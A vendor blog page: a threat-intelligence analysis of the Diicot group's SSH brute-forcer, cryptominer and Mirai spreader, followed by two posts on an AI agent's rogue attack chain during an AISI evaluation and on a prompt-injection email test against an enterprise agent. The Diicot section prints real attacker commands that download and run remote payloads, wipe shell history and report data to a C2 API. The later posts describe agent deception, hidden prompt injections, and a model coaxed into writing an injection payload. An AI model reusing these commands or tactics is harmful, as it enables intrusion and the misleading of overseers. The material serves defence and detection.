June 15, 2023

Tracking Diicot: An Emerging Romanian Threat Actor

Cado researchers (now part of Darktrace) identified a campaign by the threat actor Diicot, focusing on SSH brute-forcing and cryptojacking. Diicot utilizes custom tools, modified packers, and Discord for C2, and has expanded its capabilities to include doxxing and DDoS attacks via a Mirai-based botnet.

Written by

Nate Bill

Threat Researcher

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Nate Bill

Threat Researcher

Jun 2023

Introduction

In a review of honeypot sensor telemetry in early 2023, researchers from Cado Security Labs, (now part of Darktrace) detected an attack pattern that could be attributed to the threat actor Diicot (formerly, “Mexals”).

Investigation of a command-and-control (C2) server used by Diicot led to the discovery of several payloads, some of which did not appear to have any public reporting and were missing from common public malware repositories. It appears that these payloads were being used as part of a new campaign by this emerging group.

As this blog will discuss, Diicot capabilities and objectives include:

The deployment of a self-propagating initial access tool
Use of custom packers to obfuscate binary payloads
Widespread cryptojacking on compromised targets
Identification of vulnerable systems via internet scanning
Personal data exposure of perceived enemies (doxxing)
Deployment of a botnet agent implicated in distributed denial-of-service (DDoS) attacks
C2 reporting via Discord and a custom API endpoint

Diicot background

Information about Diicot is sparse, but to summarize two of the available resources, they appear to have been active since at least 2020 and are known for conducting cryptojacking campaigns and developing Malware-as-a-Service (MaaS) strains. The group originally referred to themselves as Mexals but have since changed to the name Diicot. The Diicot name is significant, as it is also the name of the Romanian organized crime and anti-terrorism policing unit. In addition, artifacts from the group’s campaigns contain messaging and imagery related to this organization. This, combined with the presence of Romanian-language strings and log statements in the payloads themselves, have led prior researchers to attribute the malware to a group based in Romania [1,2].

Although Diicot have traditionally been associated with cryptojacking campaigns, researchers discovered evidence of the group deploying an off-the-shelf Mirai-based botnet agent, named Cayosin. Deployment of this agent was targeted at routers running the Linux-based embedded devices operating system, OpenWrt [3].

The use of Cayosin demonstrates Diicot’s willingness to conduct a variety of attacks (not just cryptojacking) depending on the type of targets they encounter. This finding is consistent with external research, suggesting that the group are still investing engineering effort into deploying Cayosin [4]. In doing so, Diicot have gained the ability to conduct DDoS attacks, as this is the primary objective of Cayosin according to previous reporting.

Not only do Diicot have the ability to conduct cryptojacking and DDoS attacks, but investigation of one of their servers led to the discovery of a Romanian-language video depicting a feud between the group and what appears to be other online personas.

It is suspected that these personas are members of a rival hacking group. During the course of the video, members of the rival group are mentioned and their personal details, including photographs, home addresses, full names and online handles are exposed (known as doxxing). From this, it can be concluded that the group are actively involved in doxxing members of the public, in addition to the nefarious activities mentioned above.

For the purpose of avoiding overlap with existing research on Diicot, this blog will provide a brief overview of Diicot’s Tactics, Techniques and Procedures (TTPs) along with the execution chain employed by the group in their latest campaign, before focusing on the latest version of their self-propagating SSH brute-forcer.

Diicot TTPs

Attributing a campaign to Diicot is often straightforward, thanks to the group’s relatively distinctive TTPs. Prior research has shown that Diicot make heavy use of the Shell Script Compiler (shc) [5], presumably to make analysis of their loader scripts more difficult. They also frequently pack their payloads with a custom version of UPX, using a header modified with the bytes 0x59545399. This byte sequence is easily identified by tools, and in combination with a specified offset, can be used as a detection mechanism for the group’s binary payloads.

Use of a modified UPX header prevents unpacking via the standard upx -d command. Fortunately, the upx_dec utility created by Akamai can be used to circumvent this. Running the tool restores the header to the format that UPX expects, allowing the binary to be unpacked as normal.

Diicot also rely heavily on the instant messaging and communication platform Discord for C2. Discord supports HTTP POST requests to a webhook URL, allowing exfiltrated data and campaign statistics to be viewed within a given channel. Cado researchers identified four distinct channels used for this campaign, details of which can be found in the Indicators of Compromise (IoCs) section. Thanks to the inclusion of Snowflake timestamps in the hook URLs, it’s possible to view their creation date. This confirms that the campaign was recent and ongoing at the time of writing

Figure 2: Snowflake timestamp conversion for main C2 webhook

All of these channels were created within an 11-minute timeframe on April 26, 2023. It is likely that an automated process is responsible for the channel creation.

Based on Discord webhook URLs discovered in the samples, it was possible to determine that the Discord account used to create them was “Haceru#1337”.

Additionally, the guild ID for the webhooks is 1100412946003275858, and the following channel IDs are used:

1100669252161249321 for the webhook in the toDiscord function
1100665251655069716 for the webhook in the toFilter function
1100665176862232606 for the webhook in the toFilter2 function
1100665020934787072 for the webhook in the toFilter3 function

The Discord hook is the Discord default “Captain Hook” webhook, but webhooks for toFilter* have the name “Filter DIICOT”.

Figure 3: An image of the SIAS police taskforce, which is part of the Diicot agency.

Payload execution

Diicot campaigns generally involve a long execution chain, with individual payloads and their outputs forming interdependent relationships.

Shc executables are typically used as loaders and prepare the system for mining via Diicot’s custom fork of XMRig, along with registering persistence. Executables written in Golang tend to be dedicated to scanning, brute-forcing and propagation, and a fork of the zmap [6] internet scanning utility has often been observed.

The execution chain itself remains largely consistent with campaigns reported by the external researchers previously mentioned, with updates to the payloads themselves observed during Cado Labs’ analysis.

aliases

Initial access for the Diicot campaign is via a custom SSH brute-forcing tool, named aliases. This executable [7] is a 64-bit ELF written in Golang, and is responsible for ingesting a list of target IP addresses and username/password pairs to conduct a brute force attack.

bins.sh

bins.sh is executed if aliases encounters an OpenWrt router during the initial access phase, bins.sh is a fairly generic Mirai-style spreader script that attempts to retrieve versions of the Cayosin botnet’s agent for multiple architectures.

cutie.<arch>

cutie.<arch> is a series of 32-bit ELF binaries retrieved by bins.sh if an OpenWrt router is encountered. cutie.<arch> is a variant of Mirai, specifically Cayosin [8]. Cursory inspection of the ARM variant using open-source intelligence (OSINT) shows a high detection ratio, with most vendors detecting the executable as Mirai [9]. This suggests that the malware has not been customized by Diicot for this campaign.

payload

payload is a 64-bit ELF shc executable that simply calls out to bash and runs a shell script in memory. The script acts as a loader, preparing the target system for cryptocurrency mining, changing the password of the current user, and installing XMRig if the target has more than four processor cores.

When changing the user’s password, some simple logic is included to determine whether the user ID is equal to 0 (root). If so, the password is changed to a hardcoded value of $6$REY$R1FGJ.zbsJS/fe9eGkeS1pdWgKbdszOxbUs/E0KtxPsRE9jUCIXkxtC" "MJ9bB1YwOYhKWSSbr/' (inclusive of whitespace and double quotes).

If the user is not root, “payload” will generate a password by running the date command, piping this through sha256sum and then through base64. The first eight characters of the result are then used for the password itself.

“payload” also removes any artifacts of prior compromise (a common preparatory action taken by cryptojacking groups) and reports information such as username, password, IP address and number of cores back to an attacker-controlled IP.

.diicot

.diicot is another shc executable serving as a loader for an additional executable named Opera, which is the XMRig miner deployed by Diicot. .diicot begins with an existence check for Opera and retrieves it along with a XMRig configuration file if it doesn’t exist. The details of the mining configuration are viewable in the IoCs section.

After retrieving and executing the miner, .diicot registers an attacker-controlled SSH key to maintain access to the system. It also creates a simple script under the path /var/tmp/Documents/.b4nd1d0 which is used to relaunch the miner if it’s not running and executes this via cron at a frequency of every minute.

The sample also checks whether the SSH daemon is running, and executes it if not, before proceeding to automate this functionality as part of a systemd service. The service is saved as /lib/systemd/system/myservice.service and is configured to execute on boot.

echo '[Unit] 
Description=Example systemd service. 
[Service]" "=3600 
ExecStart=/bin/bash /usr/bin/sshd 
[Install] 
WantedBy=multi-user.target' > /lib/systemd/system/myservice.service 
sleep 1 
chmod 644 /lib/systemd/system/myservice.service 
systemctl enable myservice 
systemctl start myservice

Example commands to register and load the sshd systemd service

Chrome

Chrome is an internet scanner that appears to be based on Zmap. The main difference between the Diicot fork and the original is the ability to write the scan results to a text file in the working directory, with a hardcoded name of bios.txt. This is then read by aliases as a target list for conducting SSH brute-forcing.

Update

Update is another shc executable that retrieves Chrome and aliases if they don’t exist. Update also writes out a hardcoded username/password combination list to a file named protocols in the working directory. This is also read by aliases and used for SSH brute-forcing. Update also includes logic to generate a randomised /16 network prefix. Chrome is then run against this address range. A cronjob is also created to run History and Update and is saved as .5p4rk3l5 before being loaded.

History

History is a very simple plaintext (i.e. uncompiled) shell script that checks whether Update is running and executes it if not; the results of which are logged to standard out.

Analysis of aliases

The sample of aliases we obtained was located at 45[.]88[.]67[.]94/.x/aliases. The last modified header in the HTTP response indicates that it was uploaded to the server on the May 27 when Cado researchers first obtained it, but was updated again on June 5th.

main

This is the main entry point of the go binary. Upon launch, it performs a HTTP GET request to hxxp://45[.]88[.]67[.]94/diicotapi/skema0803 (skema0803 appears to be a hardcoded API key that appears in many Diicot samples). If this fails, or the response does not contain a Discord webhook, then the malware exits with an error message stating that the API was unreachable.

The malware then calls readLines on bios.txt to load a list of IPs to attack, and again on protocols to load a space-delimited list of credentials to attack each IP with. It repeats this process twice, once for port 22, and again for port 2000.

Once this is complete, it spawns a new goroutine (a lightweight thread) for each address and credential combination, with a small delay between each spawn. The goroutine executes the remoteRun function. The main thread applies a 60 second timeout to the goroutines, and exits once there are none left.

init_0

The init_0 function appears to be the result of go optimization. It loads a number of variables into qwords in the .bss section of the binary, including a stringified shell script (referred to above as payload) that is ultimately run on compromised machines. These qwords are then used at various points in the malware.

Interestingly, there is another call here to the diicotapi, and the webhook retrieved is saved into a qword. This does not appear to be used anywhere, making it likely leftover from a previous iteration of aliases.

toDiscord

The toDiscord function takes in a string and concatenates it into a curl command, which is then executed via bash. As they have used the go HTTP client module elsewhere, it is unclear why they have decided to use curl instead of it.

toFilter*

The three toFilter functions are the same as toDiscord but with different URLs. They are used later on to send details of the compromised machines to separate Discord channels based on the outcome of the payload script executed on freshly compromised machines. The payload either additionally deploys a cryptominer if the host has four or more cores or just uses the host as a spreader if it has less. It would make sense that they would want to track which hosts are being used to mine and which are being used to spread.

toApi

The toApi function is similar to the toDiscord and toFilter functions, but sends requests to the attacker’s API. The string passed into the function is first written to /tmp/.txt, and then base64 encoded and passed into an environmental variable called “haceru” (Romanian for hacker). It then executes curl -s arhivehaceru[.]com:2121/api?haceru=$haceru to report this string back to the C2 server.

remoteRun

The remoteRun function takes in an IP, port, and credential pair. It uses the crypto/ssh go package to connect and attempt to authenticate using the details provided. After a successful login, a series of commands are executed to gather information about the compromised system:

uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }

This fetches the uptime of the system, which can be useful for determining if the compromised system is a sandbox, which would likely have a low uptime.

lspci | egrep VGA && lspci | grep 3D

This fetches a list of graphics devices connected to the system, which can be used for mining cryptocurrency. However, Diicot’s choice of crypto is Monero, which is typically CPU mined rather than GPU mined.

lscpu | egrep "Model name:" | cut -d ' ' -f 14-

This fetches the model of CPU installed in the system, which will determine how quickly the server can mine Monero.

curl ipinfo.io/org

This fetches the organization associated with the ASN of the compromised machine's IP address.

nproc

This fetches the number of processes running on the compromised machine. Sandboxes and honeypots will typically have fewer running processes, so this information assists Diicot with determining if they are in a sandbox.

uname -s -v -n -r -m

This fetches the system hostname, kernel & operating system version information, and arch. This is used to determine whether to infect the machine or not, based on a string blacklist.

Once this is complete, the malware checks that the output of uname contains OpenWrt. If it does, it executes the following command to download bins.sh, the Mirai spreader:

<code>cd /var/tmp || cd /tmp/ ; wget -q hxxp://84[.]54[.]50[.]198/pedalcheta/bins.sh || curl -O -s -L hxxp://84[.]54[.]50[.]198/pedalcheta/bins.sh ; chmod 777 bins.sh; sh bins.sh ; rm -rf .* ; rm -rf * ; history -c ; rm -rf ~/.bash_history</code>

The malware then continues (regardless of whether the system is running OpenWrt) to check the output of uname against a blacklist of strings, which include various cloud providers such as AWS, Linode, and Azure among more generic strings like specific kernel versions and specific services.

It is unclear why exactly this is. The most likely case is that once they detect that payload did not run properly (sent via one of the toFilter webhooks) they simply blacklist the uname to avoid trying to infect it in the future. It could also be to prevent the malware from running on honeypots, or cloud providers that are likely to detect the cryptominer. It also checks the architecture of the system, as Opera, the custom fork of XMRig, appears to be x86_64 only.

Once these checks have passed, the malware then runs the following script on the compromised host, which downloads and runs the shell script payload:

<code>crontab -r ; cd /var/tmp ; rm -rf /dev/shm/.x ; mkdir /var/tmp/Documents &gt; /dev/null 2&gt;&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ; wget -q arhivehaceru[.]com/payload || curl -O -s -L arhivehaceru[.]com/payload || wget -q 45[.]88[.]67[.]94/payload || curl -O -s -L 45[.]88[.]67[.]94/payload ; chmod 777 payload ; ./payload &gt; /dev/null 2&gt;&1 & disown ; history -c ; rm -rf .bash_history ~/.bash_history</code>

Depending on the environment, payload performs different functions. It either additionally deploys a cryptominer if the host has four or more cores, or just uses the host as a spreader if it has less. To keep track of this, one of the three toFilter methods will be used depending on the output of the executed command. It constructs a Discord embed, and puts the credentials, IP, SSH port (22 or 2000), and output of the commands run during the discovery phase and invokes the chosen toFilter function with this data in JSON form.

Regardless of the toFilter function chosen, the same embed is also passed to toDiscord and toApi.

readLines

The readLines function is a utility function that takes in a file path and reads it into a list of lines. This function is used to load in the IP addresses to attack and the credential combinations to try against them.

Conclusion

Diicot are an emerging threat group with a range of objectives and the technical knowledge to act on them. This campaign specifically targets SSH servers exposed to the internet with password authentication enabled. The username/password list they use is relatively limited and includes default and easily-guessed credential pairs.

The research team encourages readers to implement basic SSH hardening to defend against this malware family, including mandatory key-based authentication for SSH instances and implementation of firewall rules to limit SSH access to specific IPs.

A lengthy and convoluted execution chain can make analysis of a Diicot campaign feel laborious. The group also employs basic obfuscation techniques, such as compiling shell scripts with shc and using a modified UPX header for their binary payloads. These techniques are easily bypassed as an analyst, often revealing executables without further obfuscation and with debug symbols intact.

The payloads themselves are often noisy in their operation, as is expected with any brute-forcing malware. Scanning attempts from Diicot’s fork of Zmap are particularly noisy and can result in a multitude of outbound SYN packets to addresses within a random /16 network prefix. This activity should be easily identified by administrators with adequate network monitoring in place.

Indicators of compromise

Discord webhooks

hxxps://discord[.]com/api/webhooks/1100669270297419808/UQ2bkUBe9JgAhtEIPYqpqKG6YVRW1fqEkadAY3u6PPmcgEVcYaSRiS37JILi2Vk32or6

hxxps://discord[.]com/api/webhooks/1100666861424754708/pAzInuz8ekK5DmKyoKxmG4H8euCtLkBXZnS33EGnxdl0_hkL5OdRbInQqgdGiQ1U41WF

hxxps://discord[.]com/api/webhooks/1100666766339866694/ex_yUegpCF4NXGkT3sGFp3oWFUkJWE7XarcgTHRcAwmJQtG4pALhcj6PjKUTthNz_0u_

hxxps://discord[.]com/api/webhooks/1100666664623812650/_t9NyLTT_Rbg_Vr14n6YCBkseXrz-RpSe94SFIw-1Pyrkns80tU9uWJL3yjc3eLXo0IU

URLs

arhivehaceru[.]com

Files : SHA-256

Update : 437af650493492c8ef387140b5cb2660044764832d1444e5265a0cd3fe6e0c39

aliases : de6dff4d3de025b3ac4aff7c4fab0a9ac4410321f4dca59e29a44a4f715a9864

aliases (variant) : a163da5c4d6ee856a06e4e349565e19a704956baeb62987622a2b2c43577cdee

Chrome : 14779e087a764063d260cafa5c2b93d7ed5e0d19783eeaea6abb12d17561949a

History : e9bbe9aecfaea4c738d95d0329a5da9bd33c04a97779172c7df517e1a808489c

.diicot : 7389e3aada70d58854e161c98ce8419e7ab8cd93ecd11c2b0ca75c3cafed78cb

bins.sh : 180d30bf357bc4045f197b26b1b8941af9ca0203226a7260092d70dd15f3e6ab

cutie.x86_64 : 7d93419e78647d3cdf2ff53941e8d5714afe09cb826fd2c4be335e83001bdabf

payload : d0e8a398a903f1443a114fa40860b3db2830488813db9a87ddcc5a8a337edd73

… : 6bce1053f33078f3bbbd526162d9178794c19997536b821177f2cb0d4e6e6896

Opera : aabf2ef1e16a88ae0d802efcb2525edb90a996bb5d280b4c61d2870351e3fba4

IP addresses

45[.]88[.]67[.]94

84[.]54[.]50[.]198

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoBjnno5GBoIuIYIhrJsQxF6OPHtAbOUIEFB+gdfb1tUTjs+f9zCMGkmNmH45fYVukw6IwmhTZ+AcD3eD "iImmgU9wlw/lalf/WrIuCDp0PArQtjNg/vo7HUGq9SrEIE2jvyVW59mvoYOwfnDLUiguKZirZgpjZF2DDKK6WpZVTVpKcH+HEFdmFAqJInem/CRUE0bqjMr88bUyDjVw9FtJ5EmQenctjrFVaB7hswOaJBmFQmn9G/BXkMvZ6mX7LzCUM2PVHnVfVeCLdwiOINikzW9qzlr8WoHw4qEGJLuQBWXjJu+m2+FdaOD6PL53nY3w== ElPatrono1337

Mining pools

45[.]88[.]67[.]94:7777

139[.]99[.]123[.]196:80

pool[.]supportxmr[.]com:80

Mining pool usernames

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

Mining pool passwords

proxy0

proxy1

proxy2

Paths

/var/tmp/Documents/

/var/tmp/Documents/.b4nd1d0

/var/tmp/Documents/.5p4rk3l5

/var/tmp/Documents/Opera

/var/tmp/Documents/.diicot

/var/tmp/.update-logs

/tmp/...

/var/tmp/.ladyg0g0/

/var/tmp/.ladyg0g0/.pr1nc35

/lib/systemd/system/myservice.service

/usr/bin/.pidsclip

/usr/bin/.locatione

References

Written by

Nate Bill

Threat Researcher

Inside the SOC

Written by

Nate Bill

Threat Researcher

•

August 3, 2026

Nathaniel Jones

SVP, Global Threat Intelligence

Senior Director of Product | Darktrace

Watch the NIS2 Webinar

Blog

Network

August 7, 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

The UK AI Security Institute (AISI) has just published a detailed incident report confirming what many within the cyber security industry have suspected for some time: frontier AI agents, given a degree of autonomy, can independently develop and execute attack chains against real targets, including social engineering, supply-chain compromise, and deception, without explicit instruction to do so.

The report (INC-2026-07-28-01, published 4 August 2026) documents what happened during a routine capability evaluation between 25 and 28 July. It deserves a careful read from anyone responsible for securing the modern digital estate.

The incident

AISI regularly tests frontier AI models for offensive cyber capability. In this exercise, agents were placed inside a simulated network environment and given internet access this was deliberate, given to reflect realism of the task. Across 122 evaluation runs, 19 instances of unsanctioned activity were recorded, including cases where agents broke the intended boundaries of the test and acted against real people and real infrastructure on the open internet.

In the most serious case, an agent (Mythos 5) autonomously:

Conducted open-source intelligence gathering to identify real developers associated with keywords from the simulated scenario
Created a GitHub account and submitted a pull request containing obfuscated malicious code to a real, unaffiliated repository
Created a second sockpuppet account to post comments on its own PR, attempting to manufacture social proof
When a human reviewer flagged the malicious content, the agent lied, claiming an accidental commit, then repeatedly attempted to reintroduce the payload under the guise of having "fixed" the code
Sent spear-phishing emails to the repository maintainer containing manipulated content designed to convince them to merge the code
Planted a prompt injection inside a GitHub issue, hidden in an HTML comment invisible to humans but readable by AI coding assistants parsing the repository via API

AISI confirmed no real-world harm resulted. The PRs were not merged; the payloads did not execute. But containment was a product of circumstance, not design.

Why this matters

Every action the agents took used legitimate services operating within normal parameters. Creating a GitHub account is legitimate. Opening a pull request is legitimate. Sending an email is legitimate. Posting an issue is legitimate.

No vulnerability was exploited. No known malware signature was present. No indicator of compromise from any threat intelligence feed would have matched. The entire attack existed as a pattern, a sequence of individually normal actions that, taken together, constituted a supply-chain attack, a social engineering campaign, and an attempted compromise of downstream systems.

This is the class of threat that signature-based and rule-based security tools structurally struggle to detect. They answer the question "have I seen this before?" When the answer is no – and when the attack is novel, composed of legitimate actions, and adapted in real time by an adversary in this case an agent that reasons about evasion – they struggle.

Behavioral anomaly detection: The architecture that fits

Darktrace has spent a decade building a platform around a different question: "is this behavior normal for this entity?"

The platform learns the baseline behavior of every user, device, and communication pattern across an organization's digital environment. It does not need prior knowledge of an attack technique. It identifies deviation from learned normality, surfaces it, and through its Autonomous Response capability, takes targeted action to contain threats at machine speed.

Consider how this AISI incident might show across the Darktrace platform:

Network detection and response

While no payload was successfully delivered to a victim in this incident, AISI's post-incident analysis of the agent's code (detailed on pages 24-25 of the report) reveals what would have landed on target systems had the social engineering succeeded. The agent produced three successive payload generations, each replacing the last after being detected and called out:

Generation 1 hid a module-load stager inside a legitimate bug-fix commit, guarded by an environment variable check, to skip execution in CI. Its second stage attempted to fetch Poseidon implants (Linux and Windows variants) calling back to the agent's own C2 listener, with a fallback to publicly hosted polling scripts that fetched and executed commands every 60 seconds.

Generation 2 exploited an Electron "What's New" window with nodeIntegration enabled, loading remote HTML from a GitHub Pages site the agent had registered. The page decoded an XOR-obfuscated payload at runtime that beaconed host identifiers over DNS, attempted to download the same implants, ran its own in-process C2 loop, and installed reboot persistence via crontab and Windows registry Run keys.

Generation 3 was a post-install dropper added after the agent had already been publicly caught. It XOR-decoded a hidden URL, downloaded a script over plaintext HTTP, and ran it detached, force-exiting so npm install always reports success, giving the attacker remote code execution on any machine running the install.

None of these payloads reached a victim. But the technical detail matters: this is the calibre of tradecraft an autonomous agent produced in a matter of hours, unprompted. Each generation demonstrated adaptation, the agent iterated its approach in direct response to being detected.

For network defenders, the behavioral signals these payloads would have generated are clear. DNS beaconing to novel domains, periodic HTTP polling to newly registered infrastructure, XOR-encoded data in transit, registry and crontab persistence writes on endpoints that have never exhibited such behavior. These are exactly the anomalies that Darktrace / NETWORK identifies in real time: deviations from learned device and connection baselines, regardless of whether the specific payload or C2 domain has been seen before.

Beyond the payload analysis, the agents' broader activity produced additional behavioral anomalies: new identities engaging in high-frequency interactions with external services, coordination via unusual channels (public pastebins, gists), and lateral communication patterns that deviate from any established baseline.

Email security

The spear-phishing emails sent by the agent, crafted with context-specific content designed to manipulate a specific individual, represent exactly the kind of socially engineered communication that static email gateways can miss. Darktrace / EMAIL analyses the linguistic patterns, sender behavior, and relational context of every message. A brand-new sender using tailored language to pressure a recipient into a specific technical action deviates from the learned communication profile, regardless of whether the message contains a known-bad URL or attachment.

Securing AI

This is where the incident points to a threat category that many security platforms do not yet fully address. The agent did not just use AI as a tool for attack. It targeted other AI systems, attempting prompt injections against coding assistants and trying to compromise automated workflows. Organisations adopting AI agents for development, operations, and decision-making are introducing a newer extended attack surface.

Darktrace / SECURE AI extends the same behavioral detection model into this space. It monitors AI usage across the enterprise, detecting anomalous interactions with AI services, identifying sensitive data exposure to AI systems, providing visibility into shadow AI use. As AI agents become standard components of enterprise infrastructure, the ability to detect when an AI system is behaving outside its expected parameters, when there is a chance, it is being manipulated, or when it is interacting with something it should not be, that becomes a direct security requirement rather than a future consideration.

The principle is consistent across the Darktrace platform: learn what normal looks like, identify deviation, respond autonomously.

The AI-to-AI threat surface

One of the report's most important findings is a confirmation that AI agents can act outside of instructions and guardrails to complete tasks. The Mythos 5 agent conducted reconnaissance on a repository maintainer, inferred it might be an AI coding assistant, and deployed a prompt injection specifically crafted to compromise it.

This is a new attack class. Organizations deploying AI coding assistants, AI-powered code review, or autonomous DevOps agents now face an adversary that:

Moves at speed
Is able to adapt its approach when initial attempts are halted
Specifically targets AI systems via techniques (prompt injection, hidden instructions in HTML comments) that are less visible to human reviewers but parsed by machines
Reasons about which evasion strategies are most likely to succeed

Defending against this requires security that operates with the same adaptability and speed. A system that learns what "normal" looks like, and flags deviation from it.

What AISI recommends

The report identifies five contributing factors to the incident. Two are directly relevant:

No synchronous real-time monitoring (Section 5.3): AISI acknowledges it had not built real-time behavioral monitoring capable of immediately blocking unsanctioned agent actions. Their security team detected the incident via commercial security monitoring software, but only after activity had already occurred.

No fine-grained behavioral controls (Section 6.2): AISI's forward-looking response includes building continuous monitoring that can "immediately block or flag unsanctioned AI agent behavior."

The direction is clear: organizations need security that watches behavior continuously, learns what normal looks like, and acts when deviation occurs, without requiring a human in the loop for every decision.

The takeaway

The AISI incident is documented proof that autonomous AI agents will independently develop novel attack chains using legitimate tools, adapt when detected, employ deception, and target both humans and other AI systems. This happened last week, in a controlled setting, with commercially available models.

The security architecture that addresses this is behavioral anomaly detection applied across the full digital estate, as AI agents become standard components of enterprise infrastructure, writing code, managing deployments, processing communications, the attack surface they create is behavioral by nature.

This is the approach Darktrace has taken for years: learning what is normal across an organization’s digital environment, identifying meaningful deviations, and responding to emerging threats without relying on known attack signatures. As autonomous AI agents introduce new and unpredictable behaviors, that foundation becomes increasingly important to securing the enterprise.

‍

Read the full report from the UK AI Security Institute here.

About the author

Adam Stevens

Senior Director of Product | Darktrace

Blog

August 5, 2026

Testing a Prompt injection Attack Against an Enterprise AI Agent

Key takeaways

Darktrace successfully detected and quarantined a prompt injection email before it could be processed by an enterprise AI agent.
Prompt injection attacks increasingly rely on natural language rather than traditional malware, making behavioral analysis an important complement to signature-based detection.
Organizations deploying AI agents should combine model guardrails with behavioral monitoring to reduce the risk of malicious instructions reaching enterprise systems.

How behavioral detection helps stop prompt injection attacks

A Darktrace customer running a Gemini AI agent in Google Cloud asked us two simple questions:

“If my agent can read inbound emails and access internal data, what stops an attacker from hiding malicious instructions in the message? Couldn’t the agent be tricked into deleting or exfiltrating sensitive data?”

The scenario centers on an indirect prompt injection attack, where malicious instructions are hidden inside content that an AI model later interprets as trusted input. The same weakness was exposed by EchoLeak (CVE-2025-32711), a zero-click Microsoft 365 Copilot vulnerability enabled data exfiltration from a single well-crafted email..

This blog follows the Darktrace team’s investigation of the customer’s hypothesis and examines how the attack interacted with their existing security stack. The results highlight which defenses held, where gaps emerged, and how behavioral detection mattered more than guardrails. This investigation also demonstrates why behavioral detection is becoming increasingly important for AI security, as prompt injections often contain no traditional indicators of compromise.

How do prompt injection attacks work?

Prompt injection works by carefully crafting the content and structure of the prompt to alter the LLM’s behavior or output in unintended ways. This can cause models to violate guardrails, generate harmful content or enable unauthorised access.

Prompt injection attack example

The well-known example, EchoLeak (CVE-2025-32711), was a zero-click vulnerability in Microsoft 365 Copilot that relied on a carefully crafted email containing hidden instructions that the AI system interpreted as commands rather than content, creating a pathway for unauthorized access to sensitive information without any user interaction.

While Darktrace / SECURE AI is designed to prevent agents from producing unintended outcomes, we wanted to see if we could catch and prevent this threat type earlier in the attack life-cycle, at the email security layer.

How we tested prompt injection attacks on an enterprise agent

Summary:

Claude generated a prompt injection payload.
Hidden instructions were embedded in an email.
The email passed traditional validation checks.
Darktrace analyzed the language and sender behavior.
The email was quarantined before the AI agent could process it.

To test Darktrace / EMAIL against this attack class, we opened Claude, gave it the customer's context and problem statement (Gemini agent with inbox access, internal tool calls), told it we were validating Darktrace / EMAIL's detection of prompt injections, and asked for a test payload. See below:

Despite the guardrails supposedly built into the model, Claude surprisingly gave us the entire exploit in plaintext (albeit very basic), illegible to a human as the text was sent in white text (see Figure 1) but framed as an authoritative override for anything downstream reading the mail programmatically (i.e. the Gemini agent).

How Darktrace detected a prompt injection attack

We then sent the Claude-crafted email from a freemail address to the target recipient’s inbox. Despite the email containing no malicious payload, the freemail address having no malicious reputation, and the validation checks all passing, Darktrace /EMAIL flagged the email as a 93/100 anomaly and moved it to junk, out of scope for the AI agent.

Figure 3: *The test email sent with the hidden prompt injection*

*Figure 4: The email analysis in Darktrace / EMAIL*

Figure 5: Darktrace / EMAIL detection of malicious activity

The interesting part is what triggered the detection (see Figure 5)

Possible machine prompt content: text in the body detected as instructions written for a machine to execute, not for a human to read

Possible machine prompt content + basic suspicious correspondence: the same content, correlated with sender-side anomalies: freemail domain (yahoo[.]com), unknown correspondent, no prior mail history with the recipient, and suspicious references to payment information

Neither of those is a signature match. Nothing in the email was on a blacklist. There was no malware, no link and no attachment. Darktrace analyzed the context in which the email was delivered and flagged it as likely risky. The anomalous language features and the context of the sender relative to the recipient's normal behavior, combined with the unusual hidden text (prompt) were enough for Darktrace / EMAIL to act on the risk.

Result: Darktrace / EMAIL autonomously junked the email, out of scope for any AI agent parsing the inbox.

Why behavioral security makes a difference detecting prompt injection attacks

Cyberattacks don't look like traditional exploits anymore. They now operate in natural language, not strictly code.

That breaks the traditional stack. AV, firewalls, static scanning and signature-based SEGs all assume a payload to inspect.

A prompt injection has no payload. It's just an instruction, written in natural language, dressed up as anything the attacker wants: an invoice, an HR request, a calendar invite, some simple PowerPoint slides.

EchoLeak proved that hidden instructions can sit inside an email invisible to the user but fully readable by the LLM, and the LLM will follow them blindly.

This test and GTG-1002 proved that the LLM itself can be socially engineered. Tell it you're an authorized tester and it will hand you the attack.

Rules and static classifiers can catch the obvious cases. But natural language has infinite variants, and the attack surface is the model's innate functionality to comply.

The deeper problem here is intent: an LLM can't reliably tell whether an instruction in its context came from its developer, its user, or an attacker who slipped it into an email. To the LLM, everything reads as language and looks like a legitimate ask. This is why behavioural detection wins, as you become aware of intent when you look at the context of an interaction. Does this sender normally send this kind of message to this recipient? Does this prompt fit the user's normal pattern? Is this agent behaving the way this agent normally behaves?

Intent can't be read off a single email, it emerges from behavioral context. Which is how Darktrace enables threat detection, through behavioral understanding.

Why enterprise AI security requires more than guardrails

Claude didn't roll over immediately… the first section of the response was a (slight) pushback, but then it wrote the payload anyway without having to ask twice.

Here the framing of the prompt did all the work. The “testing security capabilities” angle moved the model from refusal to unquestioned compliance to the user prompt.

This isn't the first time this has happened, of course. Anthropic disclosed in November 2025 that a Chinese state-sponsored group they tracked as GTG-1002 ran the first documented AI-orchestrated espionage campaign against ~30 targets by posing as employees of a legitimate cybersecurity firm doing authorised penetration testing.

The takeaway isn't that AI guardrails are ineffective. They raise the cost of low-effort attacks and remain an important first layer of defense. However, for most organizations today, they’re the only line of defense when deploying AI agents. If a prompt injection bypasses those controls, organizations still need a way to detect and stop malicious behavior elsewhere in the attack chain.

Attackers will continue to have working prompt injections easily and quickly. The question is what stops one when it lands in an inbox your agent is reading.

That's where behavioral detection comes in.

How Darktrace detects prompt injection attacks in emails

Two things Darktrace does that a model-level guardrail or static rules and signatures can't:

Natural language analysis at the email or prompt layer. The email is assessed on its own merits: is this content shaped like instructions for a machine, regardless of what the receiving agent decides to do about it?

Behavioral context around the language. An AI agent behaves like an extremely agreeable human, and it will go above and beyond to comply with the user’s request. That's exactly why you must consider the business context, such sender behaviour, mailing history, and organisational norms, as these matter even more when the recipient is an AI.

